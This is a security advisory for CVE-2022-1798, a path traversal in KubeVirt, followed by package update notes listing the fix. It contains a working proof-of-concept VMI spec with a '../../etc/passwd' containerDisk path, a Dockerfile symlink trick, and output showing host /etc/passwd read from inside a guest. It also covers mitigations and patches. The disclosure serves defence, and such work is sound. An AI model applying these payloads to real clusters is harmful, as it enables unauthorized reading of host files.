CVE-2022-1798

A path traversal vulnerability in KubeVirt versions up to 0.56 (and 0.55.1) on all platforms allows a user able to configure the kubevirt to read arbitrary files on the host filesystem which are publicly readable or which are readable for UID 107 or GID 107. /proc/self/<> is not accessible.

Duplicate Advisory

This advisory is a duplicate of GHSA-qv98-3369-g364. This link is maintained to preserve external references.

Original Description

Summary As part of a Kubevirt audit performed by NCC group, a finding dealing with systemic lack of path sanitization which leads to a path traversal was identified. Google tested the exploitability of the paths in the audit report and identified that when combined with another vulnerability one of the paths leads to an arbitrary file read on the host from the VM.

The read operations are limited to files which are publicly readable or which are readable for UID 107 or GID 107. /proc/self/<> is not accessible.

Severity

Moderate - The vulnerability is proven to exist in an open source version of KubeVirt by NCC Group while being combined with Systemic Lack of Path Sanitization, which leads to Path traversal.

Proof of Concept

The initial VMI specifications can be written as such to reproduce the issue:

apiVersion: kubevirt.io/v1
kind: VirtualMachineInstance
metadata:
  name: vmi-fedora
spec:
  domain:
    devices:
      disks:
      - disk:
          bus: virtio
        name: containerdisk
      - disk:
          bus: virtio
        name: cloudinitdisk
      - disk:
          bus: virtio
        name: containerdisk1
      rng: {}
    resources:
      requests:
        memory: 1024M
  terminationGracePeriodSeconds: 0
  volumes:
  - containerDisk:
      image: quay.io/kubevirt/cirros-container-disk-demo:v0.52.0
    name: containerdisk
  - containerDisk:
      image: quay.io/kubevirt/cirros-container-disk-demo:v0.52.0
      path: test3/../../../../../../../../etc/passwd
    name: containerdisk1
  - cloudInitNoCloud:
      userData: |
        #!/bin/sh
        echo 'just something to make cirros happy'
    name: cloudinitdisk

The VMI can then be started through kubectl apply -f vm-test-ncc.yaml. The requested file is accessible once the VM is up and can be accessed under /dev/vdc.

Depending on the environment, path may contain more or less /.., something that can easily be tested by checking the events until the VMI can start without failure. Restrictions

SELinux may mitigate this vulnerability.

When using a node with selinux, selinux denies the access and the VM start was aborted:

19s         Warning   SyncFailed                virtualmachineinstance/vmi-fedora    server error. command SyncVMI failed: "preparing ephemeral container disk images failed: stat /var/run/kubevirt/container-disks/disk_0.img: permission denied"

type=AVC msg=audit(1651828898.296:1266): avc:  denied  { setattr } for  pid=44402 comm="rpc-worker" name="passwd" dev="vda1" ino=691477 scontext=system_u:system_r:virt_launcher.process:s0:c255,c849 tcontext=system_u:object_r:passwd_file_t:s0 tclass=file permissive=1

After making selinux permissive the VM can boot and access /etc/passwd from the node within the guest:

$ sudo cat /dev/vdc
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
[...]

Further Analysis In order to mitigate this vulnerability, Sanitize imagePath in pkg/container-disk/container-disk.go following ISE best practices described and Add checks in pkg/virt-api/webhooks/validating-webhook/admitters/vmi-create-admitter.go

Timeline Date reported: 05/10/2022 Date fixed: N/A Date disclosed: 08/08/2022

Impact

Users with the permission to create VMIs can construct VMI specs which allow them to read arbitrary files on the host. There are three main attack vectors:

1. Some path fields on the VMI spec were not properly validated and allowed passing in relative paths which would have been mounted into the virt-launcher pod. The fields are: spec.domain.firmware.kernelBoot.container.kernelPath, spec.domain.firmware.kernelBoot.container.initrdPath as well as spec.volumes[*].containerDisk.path.

Example:

apiVersion: [kubevirt.io/v1](http://kubevirt.io/v1)
kind: VirtualMachineInstance
metadata:
  name: vmi-fedora
spec:
  domain:
    devices:
      disks:
      - disk:
          bus: virtio
        name: containerdisk
      - disk:
          bus: virtio
        name: cloudinitdisk
      - disk:
          bus: virtio
        name: containerdisk1
      rng: {}
    resources:
      requests:
        memory: 1024M
  terminationGracePeriodSeconds: 0
  volumes:
  - containerDisk:
      image: [quay.io/kubevirt/cirros-container-disk-demo:v0.52.0](http://quay.io/kubevirt/cirros-container-disk-demo:v0.52.0)
    name: containerdisk
  - containerDisk:
      image: [quay.io/kubevirt/cirros-container-disk-demo:v0.52.0](http://quay.io/kubevirt/cirros-container-disk-demo:v0.52.0)
      path: test3/../../../../../../../../etc/passwd
    name: containerdisk1
  - cloudInitNoCloud:
      userData: |
        #!/bin/sh
        echo 'just something to make cirros happy'
    name: cloudinitdisk

2. Instead of passing in relative links on the API, using malicious links in the containerDisk itself can have the same effect:

FROM <anybase>
RUN mkdir -p /etc/ && touch /etc/passwd
RUN mkdir -p /disks/ && ln -s /etc/passwd /disks/disk.img

3. KubeVirt allows PVC hotplugging. The hotplugged PVC is under user-control and it is possible to place absolute links there. Since containerDisk and hotplug code use the same mechanism to provide the disk to the virt-launcher pod, it can be used too to do arbitrary host file reads.

In all three cases it is then possible to at lest read any host file:

$ sudo cat /dev/vdc
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
[...]

Patches

KubeVirt 0.55.1 provides patches to fix the vulnerability.

Workarounds

• Ensure that the HotplugVolumes feature-gate is disabled
• ContainerDisk support can't be disabled. The only known way to mitigate this issue is create with e.g. policy controller a conditiontemplate which ensures that no containerDisk gets added and that spec.domain.firmware.kernelBoot is not used on VirtualMachineInstances.|
• Ensure that SELinux is enabled. It blocks most attempts to read host files but does not provide a 100% guarantee (like vm-to-vm read may still work).

References

Disclosure notice form the discovering party: https://github.com/google/security-research/security/advisories/GHSA-cvx8-ppmc-78hm

For more information

For interested vendors which have to provide a fix for their supported versions, the following PRs are providing the fix:

• https://github.com/kubevirt/kubevirt/pull/8198
• https://github.com/kubevirt/kubevirt/pull/8268

Credits

Oliver Brooks and James Klopchic of NCC Group Diane Dubois and Roman Mohr of Google

KubeVirt vulnerable to arbitrary file read on host in kubevirt.io/kubevirt

This update for kubevirt, virt-api-container, virt-controller-container, virt-handler-container, virt-launcher-container, virt-libguestfs-tools-container, virt-operator-container fixes the following issues:

Security issues fixed:

• CVE-2022-1798: Fix arbitrary file read on the host from KubeVirt VMs (bsc#1202516)

Security issues fixed in vendored dependencies:

• CVE-2022-1996: Fixed go-restful CORS bypass (bsc#1200528)
• CVE-2022-29162: Fixed runc incorrect handling of inheritable capabilities in default configuration (bsc#1199460)

Other fixes:

• Pack nft rules and nsswitch.conf for virt-handler
• Only create 1MiB-aligned disk images (bsc#1199603)
• Avoid to return nil failure message
• Use semantic equality comparison
• Allow to configure utility containers for update test
• Install nftables to manage network rules
• Install tar to allow kubectl cp ...
• Symlink nsswitch.conf and nft rules to proper locations
• Enable USB redirection support for QEMU
• Install vim-small instread of vim
• Drop libvirt-daemon-driver-storage-core
• Install ethtool and gawk (bsc#1199392)
• Use non-versioned appliance to avoid redundant rpm query
• Explicitly state the dependency on kubevirt main package

This update for kubevirt, virt-api-container, virt-controller-container, virt-handler-container, virt-launcher-container, virt-libguestfs-tools-container, virt-operator-container fixes the following issues:

The kubevirt stack was updated to version 0.54.0

Release notes https://github.com/kubevirt/kubevirt/releases/tag/v0.54.0

Security fixes:

• CVE-2022-1798: Fix arbitrary file read on the host from KubeVirt VMs (bsc#1202516)

Security fixes in vendored dependencies:

• CVE-2022-1996: Fixed go-restful CORS bypass bsc#1200528)

• CVE-2022-29162: Fixed runc incorrect handling of inheritable capabilities in default configuration (bsc#1199460)

• Fix containerdisk unmount logic

• Support topology spread constraints

• Update libvirt-go to fix memory leak

• Pack nft rules and nsswitch.conf for virt-handler

• Only create 1MiB-aligned disk images (bsc#1199603)

• Avoid to return nil failure message

• Use semantic equality comparison

• Drop kubevirt-psp-caasp.yaml

• Allow to configure utility containers for update test

• Symlink nsswitch.conf and nft rules to proper locations

• Drop unused package libvirt-client

• Install vim-small instead of vim

• Remove unneeded libvirt-daemon-driver-storage-core

• Install missing packages ethtool and gawk. Fixes bsc#1199392